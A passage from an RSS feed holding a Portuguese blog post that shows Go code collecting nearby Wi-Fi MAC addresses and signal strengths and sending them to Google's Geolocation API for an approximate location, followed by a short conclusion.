        &lt;span class="c"&gt;// additional fields if needed&lt;/span&gt;

        &lt;span class="n"&gt;macAddr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="s"&gt;"signalStrength"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;macAddr&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;postjson&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;
    &lt;span class="n"&gt;postjson&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"wifiAccessPoints"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{}{}&lt;/span&gt;
    &lt;span class="n"&gt;hotspots&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;getWifiMacAddresses&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="k"&gt;range&lt;/span&gt; &lt;span class="n"&gt;hotspots&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;signalStrength&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"signalStrength"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;postjson&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"wifiAccessPoints"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;postjson&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"wifiAccessPoints"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{}),&lt;/span&gt; &lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{}{&lt;/span&gt;
            &lt;span class="s"&gt;"macAddress"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;     &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s"&gt;"signalStrength"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;signalStrength&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;googleMapsAPIkey&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="s"&gt;"your_google_maps_api_key"&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="s"&gt;"https://www.googleapis.com/geolocation/v1/geolocate?key="&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;googleMapsAPIkey&lt;/span&gt;

    &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Marshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;postjson&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"application/json"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewBuffer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Body&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
    &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewDecoder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;Nesta postagem, exploramos como utilizar a linguagem de programação Go para automatizar a obtenção de endereços MAC Wi-Fi e aproveitar a API de geolocalização do Google. Com o código desenvolvido, é possível obter informações precisas sobre roteadores Wi-Fi próximos e enviá-las para a API, obtendo assim uma localização aproximada.&lt;/p&gt;

&lt;p&gt;Espero ter ajudado, até a próxima ( :&lt;/p&gt;

</description>
      <category>go</category>
      <category>security</category>
      <category>googlecloud</category>
      <category>programming</category>
    </item>
  </channel>
</rss>
